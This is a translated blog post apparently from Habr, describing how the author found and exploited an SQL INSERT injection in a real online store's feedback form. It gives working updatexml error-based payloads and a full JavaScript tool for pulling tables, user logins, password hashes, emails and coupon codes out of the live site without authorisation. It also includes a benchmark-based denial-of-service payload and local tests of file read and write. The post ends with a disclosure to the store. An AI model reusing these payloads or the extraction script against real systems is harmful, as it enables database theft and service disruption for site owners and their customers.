⬆️ ⬇️

SQL Insert Injection in one online store



For a long time on Habré stories about SQL injection did not sound. And there are generally very few stories from the life of SQL INSERT injection. Therefore, I will tell mine.
Lyrical introduction
Lyrical introduction



It all started with my desire to buy something not cheap in a collapsible form in the online store ABru company B. After registration, contact with the manager by e-mail, receiving the parcel and review its contents, it turned out that some hardware is not enough. There was no complete list of everything needed, just a list of bolts, nuts and washers. I started the assembly, reaching the place where the missing bolts could not be done. Therefore, I have meticulously compiled a description of the hardware that was not found and sent it by e-mail to the same girl manager with whom we communicated. To the credit of the store is to say that almost everything you need was sent the second parcel. Therefore, I began assembling, driving fears into the far corner of my mind that there might be something else missing. But, having reached the finish line, it turned out that approximately 1 / 4th part of the device is not enough in principle, judging by the photographs from the manual and common sense. Therefore, a second, much more extensive, followed the first letter about the incomplete, and the assembly was postponed.

When the second week of waiting was over, I managed to convince myself that the girl manager had gone on vacation. Therefore, I sent her a letter two weeks ago again and turned to searching for other channels of electronic communication - I really didn’t want to call Moscow. First of all, the same email was sent to the general email address A@B.ru, to which an instant response was received: the mail server refuses to accept the email because of the overflowed mailbox of the <muzhik> @ B.ru. Then a feedback form was found on the site - the last thread connecting me at the moment with an online store. First of all, I described the problem of a crowded mailbox and inserted a message about the refusal to deliver a letter that contained single quotes ...



Start



To try to send an error report via the feedback form, for a couple of seconds an error appeared on the page, in which MySQL voice was guessed. Therefore, I opened the browser console, repeated the request and looked into the server response:



Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; at line 1 SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 11:36:37', '', 'Max', '< >@gmail.com', '', ',     '<>@B.ru'    .', '', '2015-08-04 11:36:37', '0000-00-00 00:00:00', '0'); 


So, SQL insert injection was found in the online store, to which I gave my blood.

First of all, I found a couple of decent materials on the topic. The most interesting of them is SQL Injection in Insert, Update and Delete Statements (Osanda Malith Jayathissa) . Thanks to him, the glance fell on the updatexml function, which appeared in MySQL 5.1 (i.e. if it does not work, then it will be possible to draw the appropriate conclusion:
UpdateXML (xml_target, xpath_expr, new_xml)


The meaning of using the function is to create in advance the wrong XPath Expression (second argument). For this, Osanda proposes to do concatenation with the "~" character. Well, check in local MySQL:

 mysql> select updatexml(1, '123', 0) from dual; +------------------------+ | updatexml(1, '123', 0) | +------------------------+ | NULL | +------------------------+ 1 row in set (0,00 sec) mysql> select updatexml(1, '~123', 0) from dual; ERROR 1105 (HY000): XPATH syntax error: '~123' 


Yes it works. Now we create the message body for our store. The first request turned out to look like this:

 message' or updatexml(1,concat(0x7e,(version())),0) or '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '1');--' 


Then I thought a little and reduced it to:

 ' or updatexml(1,concat(0x7e,(version())),0) or ' 


Online store response:

 Error displaying the error page: Application Instantiation Error: XPATH syntax error: '~5.5.41-MariaDB-log' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 12:39:12', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(1,concat(0x7e,(version())),0) or '', '', '2015-08-04 12:39:12', '0000-00-00 00:00:00', '0'); 


It worked! Everything revolves on MariaDB 5.5. Differences from MySQL are minimal, version 5.5 supports many useful operators and functions. Walking through data typical of such situations, I pulled out the following information:

 version: 5.5.41-MariaDB-log hostname: db-www user: A@ABru database: A 


Now you can try the full SQL queries. First of all, for the sake of interest, I write this:

 ' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or ' 


But, of course, was refused:

 Error displaying the error page: Application Instantiation Error: SELECT command denied to user 'A'@'ABru' for table 'user' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 14:27:21', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '', '', '2015-08-04 14:27:21', '0000-00-00 00:00:00', '0'); 


Now you need to get a list of tables in the current database. To do this, use the information_schema meta table available with MySQL 5.0:

 ' or updatexml(0, concat(0x7e,(SELECT concat(table_schema, ':', table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)), 0) or ' 


By changing the first parameter in the LIMIT statement, you can loop through all the current tables. I had enough for
first 20 pieces
  aa:cart aa:category aa:includes aa:items aa:layout aa:menu aa:aabb_ak_profiles aa:aabb_ak_stats aa:aabb_ak_storage aa:aabb_assets aa:aabb_associations aa:aabb_banner_clients aa:aabb_banner_tracks aa:aabb_banners aa:aabb_categories aa:aabb_com_feedback aa:aabb_com_photo_votes aa:aabb_com_photo_votes_comment aa:aabb_com_photo_votes_likes aa:aabb_com_wishlist 




I decide to automate. This is an AJAX POST request and jQuery is enabled on the site. We need to send several requests at once - this is asynchronous work, so I decided to immediately load the async library and try using it to get the desired list of tables. Turned out

not very elegant function of creating and sending multiple simultaneous requests
 $.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js'); (function() { var ans_start = " '~", //       ans_stop = "' SQL=", //    lim = 20, start_from = 0; //   AJAX- async.times(lim, function(i, next) { var injection = "' or updatexml(0, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit "+ (start_from + i) +", 1)), 0) or '"; $.ajax({ url: '/feedback/post.php', method: 'POST', data: $.param({ data_email: 'undefined', data_email_body: 'undefined', data_email_subject: 'A B', type: 'feedback', name: 'Test', mail: 'test@mailinator.com', phone: '', feedbacktext: injection, else: '', recipient: 'A@B.ru', btn: '' }), success: function(resp) { next(null, resp.substring(resp.indexOf(ans_start) + ans_start.length, resp.indexOf(ans_stop))); }, error: function(jqXHR, textStatus) { next(textStatus); } }); }, function(err, results) { //       if (err) return console.error(err); window.INJ_RESULTS = results; //   ,         ,      -    - console.log(results.join('\n')); //         }); })(); 




Thus, I received a list of the first 20 tables, but I realized that at the same time sending a lot of requests was not good (the server responded to the last of them within 20 seconds). I decided that it was not worth threatening the stability of the store and changed the function async.times to async.timesSeries so that each next request would be sent after receiving a reply to the previous one. Changed the parameter lim from 20 to 200 and went for a cup of tea. When I returned, I was at my disposal
list of all tables
 aa:cart aa:category <...> aa:aabb_finder_links aa:aabb_finder_links_terms0 aa:aabb_finder_links_terms1 <...> aa:aabb_jcomments_votes aa:aabb_jsecurelog aa:aabb_jshopping_addons <...> aa:aabb_jshopping_coupons <...> aa:aabb_jshopping_shipping_meth <...> aa:aabb_jshopping_usergroups aa:aabb_jshopping_users <...> aa:aabb_usergroups aa:aabb_users aa:aabb_viewlevels aa:aabb_weblinks aa:aabb_wf_profiles aa:aabb_xmap_items aa:aabb_xmap_sitemap aa:modules aa:orders aa:oshibka aa:params aa:reviews aa:slideshow aa:users 




From this list it became clear two facts: there is a Joomla and the amount of useful information is limited to 32 characters. And we cannot remove the first of them ("~"), which means we have only 31 characters. Well, not so little. There were a lot of interesting tables (3 tables * users and aabb_jshopping_coupons). First, I investigated the structure of the users table, modifying the injection variable:

 ' or updatexml(0, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 0) or ' 


 id, login, password, email, tel, name, firma, active, date, role 


Then its contents using the function CONCAT_WS :

 ' or updatexml(0, concat(0x7e,(SELECT CONCAT_WS(':',id,login,password) FROM users LIMIT 0,1)), 0) or ' 


But each record turned out to be exactly 31 characters long due to an excess of information, so first it was necessary to overcome this limitation. To do this, I decided to use the SUBSTRING function, and implement the receipt of a new portion of data through recursion. The result was

This is the query constructor `ajax93t411`.
 $.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js'); // ,     var ANS_START = " '~", ANS_STOP = "' SQL=", ANS_ERR = "Er", ANS_LIM = 31; //   // start_from  lim      // construct_req - ,     function ajax93t411(start_from, lim, construct_req) { //       start_from = start_from || 0; lim = lim || 1; //   . i, offset -    construct_req function req(i, offset, callback) { $.ajax({ url: '/feedback/post.php', method: 'POST', data: $.param({ data_email: 'undefined', data_email_body: 'undefined', data_email_subject: 'A B', type: 'feedback', name: 'Test', mail: 'test@mailinator.com', phone: '', feedbacktext: construct_req(start_from, i, offset), else: '', recipient: 'A@B.ru', btn: '' }), success: function(resp) { callback(null, resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP))); }, error: function(jqXHR, textStatus) { callback(textStatus); } }); } //      31,     //   ,   function constructReq(i, full_answer, offset, next) { req(i, offset, function(err, answer) { if (err) return next(err, full_answer); full_answer += answer; if (answer.length == ANS_LIM) { constructReq(i, full_answer, offset + ANS_LIM, next); } else { next(null, full_answer); } }); } //       async.timesSeries(lim, function(i, next) { constructReq(i, '', 1, next); }, function(err, results) { if (err) return console.error(err); window.INJ_RESULTS = results; console.log(results.join(', ')); }); } 




According to this algorithm, the data will be pulled out even longer, but completely. Now you can create your own requests separately from the general logic:

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',id,login,password,email), "+ offset +", "+ ANS_LIM +") FROM users LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj) 


And the first 30 lines of the users table in the browser console.

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',username,email,password), "+ offset +", "+ ANS_LIM +") FROM aabb_users LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj) 


Further I will describe only the most interesting moments.

Coupons, incl. for Habr and Giktayms, proved to be overdue. Yes, and I already bought my toy.

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',coupon_code,coupon_value,coupon_start_date,coupon_expire_date), "+ offset +", "+ ANS_LIM +") FROM aabb_jshopping_coupons LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj) 


')

All tables are full length for all available databases:

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':', table_schema, table_name), "+ offset +", "+ ANS_LIM +") FROM information_schema.tables LIMIT "+ (start_from + i) +", 1)), 0) or '" } ajax93t411(62, 100, inj); //  62 -   information_schema ajax93t411(162, 100, inj); 


As it turned out, not only the online store ABru works on Joomla, but also the same B.ru store on it and on the same server. But I did not see any prospects from researching another site. In the end, my goal was not to gain money. So I decided that reading the data is good, but ...



Is it possible to write something down?



As it turned out, no. Since only subqueries are available to us. I decided that it was worth trying all the same work with files. But in order not to harm the online store with my careless actions, I will transfer the narration to my own car, where I spent
some experiences
Create a simple table:

 mysql> create database test; Query OK, 1 row affected (0,06 sec) mysql> create table t(id int, msg text); Query OK, 0 rows affected (0,70 sec) mysql> insert into t values (1, 'msg'); Query OK, 1 row affected (0,06 sec) mysql> select * from t; +------+------+ | id | msg | +------+------+ | 1 | msg | +------+------+ 1 row in set (0,00 sec) 


Let's try to simulate SQL insert injection:

 mysql> insert into t values (1, '' or updatexml(1, concat('~', version()), 0) or ''); ERROR 1105 (HY000): XPATH syntax error: '~5.6.25-0ubuntu0.15.04.1' mysql> insert into t values (1, '' or updatexml(1, concat('~', '1234567890123456789012345678901234567890'), 0) or ''); ERROR 1105 (HY000): XPATH syntax error: '~1234567890123456789012345678901' 


The same limit is 32 characters.



Let's try the output to the file:

 mysql> select 1 from dual into outfile 'test.txt'; Query OK, 1 row affected (0,00 sec) $ sudo ls -la /var/lib/mysql/test/  124 drwx------ 2 mysql mysql 4096 . 11 18:07 . drwx------ 12 mysql mysql 4096 . 11 17:50 .. -rw-rw---- 1 mysql mysql 65 . 11 17:50 db.opt -rw-rw-rw- 1 mysql mysql 2 . 11 18:07 test.txt -rw-rw---- 1 mysql mysql 8584 . 11 17:52 t.frm -rw-rw---- 1 mysql mysql 98304 . 11 17:52 t.ibd mysql> insert into t values (1, '' or updatexml(1, concat('~', (select 1 from dual into outfile 'test.txt')), 0) or ''); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile 'test.txt')), 0) or '')' at line 1 


Expected, but it was worth checking out. Let's try reading the file. So it looks like this:

 mysql> LOAD DATA INFILE 'test.txt' into table t; Query OK, 1 row affected, 1 warning (0,08 sec) Records: 1 Deleted: 0 Skipped: 0 Warnings: 1 mysql> select * from t; +------+------+ | id | msg | +------+------+ | 1 | msg | | 1 | NULL | +------+------+ 2 rows in set (0,00 sec) 


But inside INSERT INTO also does not work:

 mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt' into table t)), 0) or ''); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt' into table t)), 0) or '')' at line 1 mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt')), 0) or ''); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt')), 0) or '')' at line 1 


In any case, in relation to the online store, full paths to the site are unknown to me, for example, to create a PHP Shell.





Posted in online store
Letter
Hello.



Accidentally discovered an error on your site.

Page ABru <path>, feedback form.

If you fill in the name and e-mail, and use the single quote character (') in the message body, then after clicking on “Send”, an error from the used DBMS will appear on the screen for a while. If you read and correct the message text, you can get any information stored in the database.



I propose to correct the error as soon as possible, check all modules / pages written by the programmer for similar problems and close this source of problems.

Received
answer
Good afternoon, Maxim.



Thank you for your comment.



Respectfully,

AB

Thinking, sent
one more letter
If you do not mind, I would describe my “sports interest” in the article without direct and indirect links to the site and the company, of course. Please let us know when the problem is fixed, just in case.





Next day



There is no response to the second letter. Well, okay. Exactly a day later I went to the same page with a feedback form. Now in the input field all specials are filtered. characters, of course, on the client side. Well, well done, it remains to hope that this is just a patch at the time of correcting real errors. In the meantime, I decided to continue research - I want to understand to the end.



As it turned out, the useful part of the error text in the response from MariaDB is not always 32 characters. When you try to get the text in Russian, you can only get 16 characters. Checked on MySQL - the same. This means that the limit is not 32 characters, but 32 bytes. Well, I redid the ajax93t411 utility:

ajax93t411.js
 var ANS_START = " '~", ANS_STOP = "' SQL=", ANS_LIM = 31; function ajax93t411(start_from, lim, construct_req) { start_from = start_from || 0; lim = lim || 1; // Can be -1. -1 if for "while no Err" function req(i, offset, callback) { $.ajax({ //-- All this params is for customization. Feel free url: '/feedback/post.php', method: 'POST', data: $.param({ data_email: 'undefined', data_email_body: 'undefined', data_email_subject: 'A B', type: 'feedback', name: 'Test', mail: 'test@mailinator.com', phone: '', feedbacktext: construct_req(start_from, i, offset), // Don't forget about this function to include else: '', recipient: 'A@B.ru', btn: '' } //--- ), success: function(resp) { var answer = resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP)); if (answer == ANS_ERR) { callback(answer); } else { callback(null, answer); } }, error: function(jqXHR, textStatus) { callback(textStatus); } }); } function constructReq(i, full_answer, offset, next) { req(i, offset, function(err, answer) { if (err) return next(err, full_answer); full_answer += answer; if (answer.length > 0) { constructReq(i, full_answer, offset + answer.length, next); } else { $('body').append('<p>'+ full_answer +'</p>'); // Include each new result into webpage of target site. Just for usability. next(null, full_answer); } }); } function timesSeries(lim, i, results, callback) { if (i < lim) { constructReq(i, '', 1, function(err, answer) { if (err) return callback(err, results); results.push(answer); timesSeries(lim, i + 1, results, callback); }); } else { callback(null, results); } } function untilErrSeries(i, results, callback) { constructReq(i, '', 1, function(err, answer) { if (err) return callback(err, results); results.push(answer); untilErrSeries(i + 1, results, callback); }); } function complete(err, results) { if (err) console.error(err); window.INJ_RESULTS = results; // Keep all results into the global variable. Just for usability. console.log('Done'); } $('body').append('<p><b>New Request!</b></p>'); if (lim > 0) { timesSeries(lim, 0, [], complete); } else { // lim < 0 untilErrSeries(0, [], complete); } } 




Now the program does not depend on the constant length, but continues to search for the end of the line until an error is returned (that is, the answer with the error text is not in the format in which the program expects it). Yes, a little more requests. But there is no problem with the texts in non-latin encodings. In addition, I got rid of the dependence on the async library (it was present for the speed of developing and testing the results). It also added the ability to not specify a specific number of rows in the table to be obtained, but to recursively receive all available (before the error). And also added the output of the work directly to the page of the site to make it easier to view.



Are the terrible consequences of such a vulnerability?



As we have already found out, it is impossible to write something to the file or read from it, even if the user has rights to do so. But we have in the pocket of the table with passwords and email. addresses of all users and administrators. Personally, I did not even try to select them and enter the site - I do not need it. Nevertheless, it can be stated that it is possible to read any information from the current database, and in our case from the neighboring one.

Another possibility that can be discovered by a similar vulnerability is a DoS attack, for example, with this substitution:

 ' or updatexml(0, concat(0x7e,(select benchmark(10000000000000000000000000000000000000000000000, encode('hello', 'world')))), 0) or ' 




A week later



I decided to write

one more letter
Good day.



You understand that the current patch does not eliminate vulnerabilities?



There was no answer as before.



PS: Article published 13 days after the discovery of the vulnerability. Representatives of the online store do not contact us.

Source: https://habr.com/ru/post/264579/



All Articles